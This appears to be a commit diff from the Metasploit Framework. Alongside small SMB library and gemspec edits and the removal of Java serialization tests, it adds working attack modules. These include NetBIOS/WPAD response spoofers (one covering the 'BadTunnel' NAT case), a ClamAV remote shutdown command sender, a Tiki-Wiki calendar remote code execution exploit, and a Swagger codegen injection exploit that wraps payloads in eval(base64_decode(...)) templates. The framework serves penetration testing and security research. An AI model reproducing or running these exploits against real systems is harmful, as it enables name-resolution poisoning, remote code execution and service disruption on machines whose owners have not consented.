resp_data = resp_rpkt[doff, dcnt] resp_data = resp_rpkt[doff, dcnt]
return resp_data return resp_data
@ -1797,7 +1779,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
# Remove the NetBIOS header # Remove the NetBIOS header
resp_rpkt.slice!(0, 4) resp_rpkt.slice!(0, 4)
resp_parm = resp_rpkt[poff, pcnt] _resp_parm = resp_rpkt[poff, pcnt]
resp_data = resp_rpkt[doff, dcnt] resp_data = resp_rpkt[doff, dcnt]
return resp_data return resp_data
@ -1958,7 +1940,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
resp = find_next(last_search_id, last_offset, last_filename) resp = find_next(last_search_id, last_offset, last_filename)
# Flip bit so response params will parse correctly # Flip bit so response params will parse correctly
search_next = 1 search_next = 1
end end
files files
@ -1973,7 +1955,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
260, # Level of interest 260, # Level of interest
resume_key, # Resume key from previous (Last name offset) resume_key, # Resume key from previous (Last name offset)
6, # Close search if end of search 6, # Close search if end of search
].pack('vvvVv') + ].pack('vvvVv') +
last_filename.to_s + # Last filename returned from find_first or find_next last_filename.to_s + # Last filename returned from find_first or find_next
"\x00" # Terminate the file name "\x00" # Terminate the file name
@ -2006,7 +1988,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
search_path = "#{current_path}#{fname}\\" search_path = "#{current_path}#{fname}\\"
file_search(search_path, regex, depth).each {|fn| files << fn } file_search(search_path, regex, depth).each {|fn| files << fn }
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
# Ignore common errors related to permissions and non-files # Ignore common errors related to permissions and non-files
if %W{ if %W{
STATUS_ACCESS_DENIED STATUS_ACCESS_DENIED
@ -2030,9 +2012,9 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
# Creates a new directory on the mounted tree # Creates a new directory on the mounted tree
def create_directory(name) def create_directory(name)
files = { }
parm = [0].pack('V') + name + "\x00" parm = [0].pack('V') + name + "\x00"
resp = trans2(CONST::TRANS2_CREATE_DIRECTORY, parm, '') resp = trans2(CONST::TRANS2_CREATE_DIRECTORY, parm, '')
resp
end end
# public read/write methods # public read/write methods

View File

@ -75,6 +75,8 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'msgpack' spec.add_runtime_dependency 'msgpack'
# get list of network interfaces, like eth* from OS. # get list of network interfaces, like eth* from OS.
spec.add_runtime_dependency 'network_interface' spec.add_runtime_dependency 'network_interface'
# NTLM authentication
spec.add_runtime_dependency 'rubyntlm'
# Needed by anemone crawler # Needed by anemone crawler
spec.add_runtime_dependency 'nokogiri' spec.add_runtime_dependency 'nokogiri'
# Needed by db.rb and Msf::Exploit::Capture # Needed by db.rb and Msf::Exploit::Capture
@ -110,13 +112,14 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'rex-zip' spec.add_runtime_dependency 'rex-zip'
# Library for parsing offline Windows Registry files # Library for parsing offline Windows Registry files
spec.add_runtime_dependency 'rex-registry' spec.add_runtime_dependency 'rex-registry'
# Library for parsing Java serialized streams
spec.add_runtime_dependency 'rex-java'
# #
# Protocol Libraries # Protocol Libraries
# #
spec.add_runtime_dependency 'net-ssh' spec.add_runtime_dependency 'net-ssh'
# rb-readline doesn't work with Ruby Installer due to error with Fiddle: # rb-readline doesn't work with Ruby Installer due to error with Fiddle:
# NoMethodError undefined method `dlopen' for Fiddle:Module # NoMethodError undefined method `dlopen' for Fiddle:Module
unless Gem.win_platform? unless Gem.win_platform?

View File

@ -0,0 +1,104 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
def initialize
super(
'Name' => 'NetBIOS Response Brute Force Spoof (Direct)',
'Description' => %q{
This module continuously spams NetBIOS responses to a target for given hostname,
causing the target to cache a malicious address for this name. On high-speed local
networks, the PPSRATE value should be increased to speed up this attack. As an
example, a value of around 30,000 is almost 100% successful when spoofing a
response for a 'WPAD' lookup. Distant targets may require more time and lower
rates for a successful attack.
},
'Authors' => [
'vvalien', # Metasploit Module (post)
'hdm', # Metasploit Module
'tombkeeper' # Related Work
],
'License' => MSF_LICENSE,
)
register_options(
[
Opt::RPORT(137),
OptString.new('NBNAME', [ true, "The NetBIOS name to spoof a reply for", 'WPAD' ]),
OptAddress.new('NBADDR', [ true, "The address that the NetBIOS name should resolve to", Rex::Socket.source_address("50.50.50.50") ]),
OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000])
],
self.class
)
end
def netbios_spam
payload =
"\xff\xff" + # TX ID (will brute force this)
"\x85\x00" + # Flags = response + authoratative + recursion desired
"\x00\x00" + # Questions = 0
"\x00\x01" + # Answer RRs = 1
"\x00\x00" + # Authority RRs = 0
"\x00\x00" + # Additional RRs = 0
"\x20" +
Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) +
"\x00" +
"\x00\x20" + # Type = NB
"\x00\x01" + # Class = IN
"\x00\x04\x93\xe0" + # TTL long time
"\x00\x06" + # Datalength = 6
"\x00\x00" + # Flags B-node, unique
Rex::Socket.addr_aton(@fake_addr)
stime = Time.now.to_f
pcnt = 0
pps = 0
print_status("Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...")
live = true
while live
0.upto(65535) do |txid|
begin
payload[0,2] = [txid].pack("n")
@sock.put(payload)
pcnt += 1
pps = (pcnt / (Time.now.to_f - stime)).to_i
if pps > @targ_rate
sleep(0.01)
end
rescue Errno::ECONNREFUSED
print_error("Error: Target sent us an ICMP port unreachable, port is likely closed")
live = false
break
end
end
end
print_status("Cleaning up...")
end
def run
connect_udp
@sock = self.udp_sock
@targ_addr = rhost
@targ_port = rport
@targ_rate = datastore['PPSRATE']
@fake_name = datastore['NBNAME']
@fake_addr = datastore['NBADDR']
netbios_spam
disconnect_udp
end
end

View File

@ -0,0 +1,57 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ClamAV Remote Command Transmitter',
'Description' => %q(
In certain configurations, ClamAV will bind to all addresses and listen for commands.
This module sends properly-formatted commands to the ClamAV daemon if it is in such a
configuration.
),
'Author' => [
'Alejandro Hdeza', # DISCOVER
'bwatters-r7', # MODULE
'wvu' # GUIDANCE
],
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://twitter.com/nitr0usmx/status/740673507684679680/photo/1' ],
[ 'URL', 'https://github.com/vrtadmin/clamav-faq/raw/master/manual/clamdoc.pdf' ]
],
'DisclosureDate' => 'Jun 8 2016',
'Actions' => [
[ 'VERSION', 'Description' => 'Get Version Information' ],
[ 'SHUTDOWN', 'Description' => 'Kills ClamAV Daemon' ]
],
'DefaultAction' => 'VERSION'
)
)
register_options(
[
Opt::RPORT(3310)
], self.class
)
end
def run_host(_ip)
begin
connect
sock.put(action.name + "\n")
print_good(sock.get_once)
rescue EOFError
print_good('Successfully shut down ClamAV Service')
ensure
disconnect
end
end
end

View File

@ -31,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary
def run_host(ip) def run_host(ip)
if !mssql_login_datastore if !mssql_login_datastore
print_error("#{rhost}:#{rport} - Invalid SQL Server credentials") print_error("Invalid SQL Server credentials")
return return
end end
@ -150,7 +150,7 @@ class MetasploitModule < Msf::Auxiliary
login = create_credential_login(login_data) login = create_credential_login(login_data)
tbl << [row[0], row[1]] tbl << [row[0], row[1]]
print_good("#{rhost}:#{rport} - Saving #{hashtype} = #{row[0]}:#{row[1]}") print_good("Saving #{hashtype} = #{row[0]}:#{row[1]}")
end end
end end
@ -160,7 +160,7 @@ class MetasploitModule < Msf::Auxiliary
is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0] is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0]
if is_sysadmin == 0 if is_sysadmin == 0
print_error("#{rhost}:#{rport} - The provided credentials do not have privileges to read the password hashes") print_error("The provided credentials do not have privileges to read the password hashes")
return nil return nil
end end

View File

@ -0,0 +1,159 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'NetBIOS Response "BadTunnel" Brute Force Spoof (NAT Tunnel)',
'Description' => %q{
This module listens for a NetBIOS name request and then continuously spams
NetBIOS responses to a target for given hostname, causing the target to cache
a malicious address for this name. On high-speed networks, the PPSRATE value
should be increased to speed up this attack. As an example, a value of around
30,000 is almost 100% successful when spoofing a response for a 'WPAD' lookup.
Distant targets may require more time and lower rates for a successful attack.
This module works when the target is behind a NAT gateway, since the stream of
NetBIOS responses will keep the NAT mapping alive after the initial setup. To
trigger the initial NetBIOS request to the Metasploit system, force the target
to access a UNC link pointing to the same address (HTML, Office attachment, etc).
This NAT-piercing issue was named the 'BadTunnel' vulnerability by the discoverer,
Yu Yang (@tombkeeper). The Microsoft patches (MS16-063/MS16-077) impact the way
that the proxy host (WPAD) host is identified, but do change the predictability
of NetBIOS requests.
},
'Authors' => [
'vvalien', # Metasploit Module (post)
'hdm', # Metasploit Module
'tombkeeper' # Vulnerability Discovery
],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Service' ]
],
'PassiveActions' =>
[
'Service'
],
'DefaultAction' => 'Service',
'References' =>
[
['URL', 'http://xlab.tencent.com/en/2016/06/17/BadTunnel-A-New-Hope/'],
['CVE', '2016-3213'],
['MSB', 'MS16-063'],
['CVE', '2016-3236'],
['MSB', 'MS16-077']
],
'DisclosureDate' => 'Jun 14 2016'
)
register_options(
[
OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]),
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 137 ]),
OptString.new('NBNAME', [ true, "The NetBIOS name to spoof a reply for", 'WPAD' ]),
OptAddress.new('NBADDR', [ true, "The address that the NetBIOS name should resolve to", Rex::Socket.source_address("50.50.50.50") ]),
OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000])
], self.class)
end
def netbios_service
@port = datastore['SRVPORT'].to_i
# MacOS X workaround
::Socket.do_not_reverse_lookup = true
@sock = ::UDPSocket.new()
@sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
@sock.bind(datastore['SRVHOST'], @port)
@targ_rate = datastore['PPSRATE']
@fake_name = datastore['NBNAME']
@fake_addr = datastore['NBADDR']
print_status("Listening for NetBIOS requests...")
begin
loop do
packet, addr = @sock.recvfrom(65535)
next if packet.length == 0
@targ_addr = addr[3]
@targ_port = addr[1]
break
end
# TODO: Seed our counter based on the TXID of this request
print_status("Received a NetBIOS request from #{@targ_addr}:#{@targ_port}")
@sock.connect(@targ_addr, @targ_port)
netbios_spam
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Error #{e.class} #{e} #{e.backtrace}")
ensure
@sock.close if @sock
end
end
def netbios_spam
payload =
"\xff\xff" + # TX ID (will brute force this)
"\x85\x00" + # Flags = response + authoratative + recursion desired
"\x00\x00" + # Questions = 0
"\x00\x01" + # Answer RRs = 1
"\x00\x00" + # Authority RRs = 0
"\x00\x00" + # Additional RRs = 0
"\x20" +
Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) +
"\x00" +
"\x00\x20" + # Type = NB
"\x00\x01" + # Class = IN
"\x00\x04\x93\xe0" + # TTL long time
"\x00\x06" + # Datalength = 6
"\x00\x00" + # Flags B-node, unique
Rex::Socket.addr_aton(@fake_addr)
stime = Time.now.to_f
pcnt = 0
pps = 0
print_status("Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...")
live = true
while live
0.upto(65535) do |txid|
begin
payload[0,2] = [txid].pack("n")
@sock.write(payload)
pcnt += 1
pps = (pcnt / (Time.now.to_f - stime)).to_i
if pps > @targ_rate
sleep(0.01)
end
rescue Errno::ECONNREFUSED
print_error("Error: Target sent us an ICMP port unreachable, port is likely closed")
live = false
break
end
end
end
end
def run
loop { netbios_service }
end
end

View File

@ -0,0 +1,151 @@
##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Tiki-Wiki CMS Calendar Command Execution',
'Description' => %q(
Tiki-Wiki CMS's calendar module contains a remote code execution
vulnerability within the viewmode GET parameter.
The calendar module is NOT enabled by default. If enabled,
the default permissions are set to NOT allow anonymous users
to access.
Vulnerable versions: <=14.1, <=12.4 LTS, <=9.10 LTS and <=6.14
Verified/Tested against 14.1
),
'Author' =>
[
'h00die <mike@shorebreaksecurity.com>', # module
'Dany Ouellet' # discovery
],
'References' =>
[
[ 'EDB', '39965' ],
[ 'URL', 'https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki']
],
'License' => MSF_LICENSE,
'Platform' => %w( php ),
'Privileged' => false,
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 06 2016'
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The URI of Tiki-Wiki', '/']),
OptString.new('USERNAME', [ false, 'Username of a user with calendar access', 'admin']),
OptString.new('PASSWORD', [ false, 'Password of a user with calendar access', 'admin'])
], self.class
)
end
# returns cookie regardless of outcome
def authenticate
begin
# get a cookie to start with
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'tiki-login_scr.php'),
'method' => 'GET'
)
cookie = res ? res.get_cookies : ''
# if we have creds, login with them
vprint_status('Attempting Login')
# the bang on the cgi will follow the redirect we receive on a good login
res = send_request_cgi!(
'uri' => normalize_uri(target_uri.path, 'tiki-login.php'),
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => cookie,
'vars_post' =>
{
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD'],
'login' => '',
'stay_in_ssl_mode_present' => 'y',
'stay_in_ssl_mode' => 'n'
}
)
# double check auth worked and we got a Log out on the page.
# at times I got it to auth, but then it would give permission errors
# so we want to try to double check everything is good
if res && !res.body =~ /Log out/
fail_with(Failure::UnexpectedReply, "#{peer} Login Failed with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
end
vprint_good("Login Successful!")
return cookie
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
# sends the calendar packet, returns the HTTP response
def send_calendar_packet(cookie, data)
begin
return send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'tiki-calendar.php'),
'method' => 'GET',
'cookie' => cookie,
'vars_get' =>
{
'viewmode' => "';#{data};$a='"
}
)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
# Version numbers are post auth, so we send a print statement w/
# 10 random characters and check for it in the response
def check
if datastore['USERNAME'] && !datastore['USERNAME'].blank?
cookie = authenticate
end
flag = Rex::Text.rand_text_alpha(10)
res = send_calendar_packet(cookie, "print(#{flag})")
if res
if res.body =~ /You do not have permission to view the calendar/i
fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required")
elsif res.body =~ />#{flag}</
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
end
def exploit
if datastore['USERNAME'] && !datastore['USERNAME'].blank?
cookie = authenticate
end
vprint_status('Sending malicious calendar view packet')
res = send_calendar_packet(cookie, payload.encoded)
if res && res.body =~ /You do not have permission to view the calendar/i
fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required")
end
end
end

View File

@ -0,0 +1,162 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#
# Gems
#
require 'base64'
#
# Project
#
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'JSON Swagger CodeGen Parameter Injector',
'Description' => %q{
This module generates a Open API Specification 2.0 (Swagger) compliant
json document that includes payload insertion points in parameters.
In order for the payload to be executed, an attacker must convince
someone to generate code from a specially modified swagger.json file
within a vulnerable swagger-codgen appliance/container/api/service,
and then to execute that generated code (or include it into software
which will later be executed by another victim). By doing so, an
attacker can execute arbitrary code as the victim user. The same
vulnerability exists in the YAML format.
},
'License' => MSF_LICENSE,
'Author' =>
[
'ethersnowman <scott_davis@rapid7.com>'
],
'References' =>
[
[ 'URL', 'http://github.com/swagger-api/swagger-codegen' ],
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ]
],
'Platform' => %w{ nodejs php java ruby },
'Arch' => [ ARCH_NODEJS, ARCH_PHP, ARCH_JAVA, ARCH_RUBY ],
'Targets' =>
[
['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ],
['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ],
['Java JSP', { 'Platform' => 'unix', 'Arch' => ARCH_JAVA } ],
['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ]
],
'DisclosureDate' => 'Jun 23 2016',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']),
OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']),
OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']),
OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']),
OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http','https','ws','wss']]),
OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4']),
OptString.new('BASE_PATH', [true, 'The root path of API on host.', '/']),
OptString.new('PATH', [true, 'Path of request/response on root path.', '/a']),
OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']),
OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']),
OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F'])
], self.class)
end
def swagger
%Q(
{
"swagger": "2.0",
"info": {
"description": "#{datastore['INFO_DESCRIPTION']}",
"version": "#{datastore['INFO_VERSION']}",
"title": "#{datastore['INFO_TITLE']}"
},
"schemes": [
"#{datastore['SWAGGER_SCHEME']}"
],
"host": "#{datastore['SWAGGER_HOST']}",
"basePath": "#{datastore['BASE_PATH']}",
"produces": [
"application/json"
],
"consumes": [
"application/json"
],
"paths": {
"#{datastore['PATH']}": {
"get": {
"description": "#{datastore['PATH_DESCRIPTION']}",
"responses": {
"200": {
"description": "#{datastore['PATH_RESPONSE_DESCRIPTION']}",
"schema": {
"$ref": "#/definitions/d"
}
}
}
}
}
},
"definitions": {
"d": {
"type": "object",
"description": "#{datastore['DEFINITION_DESCRIPTION']}",
"properties": {
"id": {
"type": "integer",
"format": "int64"
}
}
}
}
}
)
end
def exploit
case payload.arch[0]
when 'nodejs'
payload_loc = 'PATH'
payload_prefix = "/a');};};return exports;}));"
payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('"
wrapped_payload = payload_prefix + payload.encoded + payload_suffix
when 'php'
payload_loc = 'INFO_DESCRIPTION'
payload_prefix = "*/ namespace foobar; eval(base64_decode('"
payload_suffix = "')); /*"
wrapped_payload = payload_prefix +
Base64.strict_encode64(payload.encoded) +
payload_suffix
when 'ruby'
payload_loc = 'INFO_TITLE'
payload_prefix = "=end "
payload_suffix = "=begin "
wrapped_payload = payload_prefix + payload.encoded + payload_suffix
when 'java'
payload_loc = 'PATH'
payload_prefix = %q{a\\\"; "}
p = payload.encoded.gsub(/<%@page import="/, 'import ')
p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')
p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')
wrapped_payload = payload_prefix + p
else
raise IncompatiblePayloadError.new(datastore['PAYLOAD'])
end
datastore[payload_loc] = wrapped_payload
print_status swagger
file_create swagger
end
end

View File

@ -88,7 +88,7 @@ class MetasploitModule < Msf::Post
def set_module_options(mod) def set_module_options(mod)
self.datastore.each do |k,v| self.datastore.each_pair do |k,v|
mod.datastore[k] = v mod.datastore[k] = v
end end
if !mod.datastore['SESSION'] && session.present? if !mod.datastore['SESSION'] && session.present?

View File

@ -1,143 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
RSpec.describe Rex::Java::Serialization::Builder do
subject(:builder) do
described_class.new
end
let(:class_opts) do
{
name: 'java.rmi.MarshalledObject',
serial: 0x7cbd1e97ed63fc3e,
fields: [
['int', 'hash'],
['array', 'locBytes', '[B'],
['array', 'objBytes', '[B']
]
}
end
let(:object_opts) do
{
data: [["int", 1]]
}
end
let(:array_opts) do
{
values_type: 'byte',
values: [0x41, 0x42, 0x43, 0x44]
}
end
describe ".new" do
it "returns a Rex::Java::Serialization::Builder" do
expect(builder).to be_a(Rex::Java::Serialization::Builder)
end
end
describe "#new_class" do
context "when no options" do
it "returns a Rex::Java::Serialization::Model::NewClassDesc" do
expect(builder.new_class).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
end
it "sets an empty class name" do
expect(builder.new_class.class_name.contents).to eq('')
end
it "sets a 0 serial version" do
expect(builder.new_class.serial_version).to eq(0)
end
it "sets flags to SC_SERIALIZABLE" do
expect(builder.new_class.flags).to eq(Rex::Java::Serialization::SC_SERIALIZABLE)
end
it "sets default annotations" do
expect(builder.new_class.class_annotation.contents.length).to eq(2)
end
it "sets empty fields" do
expect(builder.new_class.fields.length).to eq(0)
end
it "sets null super class" do
expect(builder.new_class.super_class.description).to be_a(Rex::Java::Serialization::Model::NullReference)
end
end
context "when options" do
it "returns a Rex::Java::Serialization::Model::NewClassDesc" do
expect(builder.new_class(class_opts)).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
end
it "sets the class name from options" do
expect(builder.new_class(class_opts).class_name.contents).to eq(class_opts[:name])
end
it "sets serial version from options" do
expect(builder.new_class(class_opts).serial_version).to eq(class_opts[:serial])
end
it "sets fields from options" do
expect(builder.new_class(class_opts).fields.length).to eq(3)
end
end
end
describe "#new_object" do
context "when no options" do
it "returns a Rex::Java::Serialization::Model::NewObject" do
expect(builder.new_object).to be_a(Rex::Java::Serialization::Model::NewObject)
end
it "sets empty data" do
expect(builder.new_object.class_data).to eq([])
end
end
context "when options" do
it "returns a Rex::Java::Serialization::Model::NewObject" do
expect(builder.new_object(object_opts)).to be_a(Rex::Java::Serialization::Model::NewObject)
end
it "sets data from options" do
expect(builder.new_object(object_opts).class_data[0][1]).to eq(1)
end
end
end
describe "#new_array" do
context "when no options" do
it "returns a Rex::Java::Serialization::Model::NewArray" do
expect(builder.new_array).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "sets empty values type" do
expect(builder.new_array.type).to eq('')
end
it "sets empty values array" do
expect(builder.new_array.values).to eq([])
end
end
context "when options" do
it "returns a Rex::Java::Serialization::Model::NewArray" do
expect(builder.new_array(array_opts)).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "sets empty values type" do
expect(builder.new_array(array_opts).type).to eq(array_opts[:values_type])
end
it "sets empty values array" do
expect(builder.new_array(array_opts).values).to eq(array_opts[:values])
end
end
end
end

View File

@ -1,105 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::Annotation do
subject(:annotation) do
described_class.new
end
let(:empty_contents) { "\x78" }
let(:empty_contents_io) { StringIO.new(empty_contents) }
let(:contents) { "\x77\x05\x01\x02\x03\x04\x05\x7a\x00\x00\x00\x05\x01\x02\x03\x04\x05\x78" }
let(:contents_io) { StringIO.new(contents) }
describe ".new" do
it "Rex::Java::Serialization::Model::Annotation" do
expect(annotation).to be_a(Rex::Java::Serialization::Model::Annotation)
end
it "initializes contents with empty array" do
expect(annotation.contents).to be_empty
end
end
describe "#encode" do
context "when empty contents" do
it do
annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
expect(annotation.encode).to eq(empty_contents)
end
end
context "when block data contents" do
it do
annotation.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x01\x02\x03\x04\x05")
annotation.contents << Rex::Java::Serialization::Model::BlockDataLong.new(nil, "\x01\x02\x03\x04\x05")
annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
expect(annotation.encode).to eq(contents)
end
end
end
describe "#decode" do
context "when empty contents" do
it "returns a Rex::Java::Serialization::Model::Annotation" do
expect(annotation.decode(empty_contents_io)).to be_a(Rex::Java::Serialization::Model::Annotation)
end
it "unserializes one content" do
annotation.decode(empty_contents_io)
expect(annotation.contents.length).to eq(1)
end
it "unserializes one EndBlockData content" do
annotation.decode(empty_contents_io)
expect(annotation.contents[0]).to be_a(Rex::Java::Serialization::Model::EndBlockData)
end
end
context "when block data contents" do
it "returns a Rex::Java::Serialization::Model::Annotation" do
expect(annotation.decode(contents_io)).to be_a(Rex::Java::Serialization::Model::Annotation)
end
it "deserializes contents" do
annotation.decode(contents_io)
expect(annotation.contents.length).to eq(3)
end
it "deserializes block data contents" do
annotation.decode(contents_io)
expect(annotation.contents[0]).to be_a_kind_of(Rex::Java::Serialization::Model::BlockData)
end
it "deserializes block data long contents" do
annotation.decode(contents_io)
expect(annotation.contents[1]).to be_a_kind_of(Rex::Java::Serialization::Model::BlockDataLong)
end
it "deserializes end block data" do
annotation.decode(contents_io)
expect(annotation.contents[2]).to be_a_kind_of(Rex::Java::Serialization::Model::EndBlockData)
end
end
end
describe "#to_s" do
it "prints an empty annotation" do
annotation.decode(empty_contents_io)
expect(annotation.to_s).to eq('[ EndBlockData ]')
end
it "prints an annotation with contents" do
annotation.decode(contents_io)
expect(annotation.to_s).to eq('[ BlockData { [ 0x1, 0x2, 0x3, 0x4, 0x5 ] }, BlockDataLong { [ 0x1, 0x2, 0x3, 0x4, 0x5 ] }, EndBlockData ]')
end
end
end

View File

@ -1,107 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::BlockDataLong do
subject(:block) do
described_class.new
end
let(:sample_block) { "\x00\x00\x00\x10\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" }
let(:sample_block_io) { StringIO.new(sample_block) }
let(:empty_block) { "\x00\x00\x00\x00" }
let(:empty_block_io) { StringIO.new(empty_block) }
let(:incomplete_block) { "\x00\x00\x00\x10\x01\x02\x03\x04\x05" }
let(:incomplete_block_io) { StringIO.new(incomplete_block) }
let(:empty_io) { StringIO.new('') }
describe ".new" do
it "Rex::Java::Serialization::Model::BlockDataLong" do
expect(block).to be_a(Rex::Java::Serialization::Model::BlockDataLong)
end
it "initializes length to 0" do
expect(block.length).to eq(0)
end
it "initializes contents with empty string" do
expect(block.contents).to be_empty
end
end
describe "#encode" do
context "when empty block" do
it { expect(block.encode).to eq(empty_block) }
end
context "when filled block" do
it do
block.length = 16
block.contents = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
expect(block.encode).to eq(sample_block)
end
end
end
describe "#decode" do
context "when stream contains empty string" do
it "returns nil" do
expect { block.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end
context "when stream contains empty block" do
it "returns a Rex::Java::Serialization::Model::BlockDataLong" do
expect(block.decode(empty_block_io)).to be_a(Rex::Java::Serialization::Model::BlockDataLong)
end
it "sets length to 0" do
block.decode(empty_block_io)
expect(block.length).to eq(0)
end
it "sets contents to empty string" do
block.decode(empty_block_io)
expect(block.contents).to be_empty
end
end
context "when stream contains incomplete block" do
it "returns nil" do
expect { block.decode(incomplete_block_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end
context "when stream contains correct block" do
it "returns a Rex::Java::Serialization::Model::BlockDataLong" do
expect(block.decode(sample_block_io)).to be_a(Rex::Java::Serialization::Model::BlockDataLong)
end
it "sets length to 0" do
block.decode(sample_block_io)
expect(block.length).to eq(16)
end
it "sets contents to sample string" do
block.decode(sample_block_io)
expect(block.contents).to eq("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10")
end
end
describe "#to_s" do
it "prints a block with contents" do
block.decode(sample_block_io)
expect(block.to_s).to eq('[ 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10 ]')
end
it "prints an empty string for an empty block" do
block.decode(empty_block_io)
expect(block.to_s).to eq('[ ]')
end
end
end
end

View File

@ -1,106 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::BlockData do
subject(:block) do
described_class.new
end
let(:sample_block) { "\x10\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" }
let(:sample_block_io) { StringIO.new(sample_block) }
let(:empty_block) { "\x00" }
let(:empty_block_io) { StringIO.new(empty_block) }
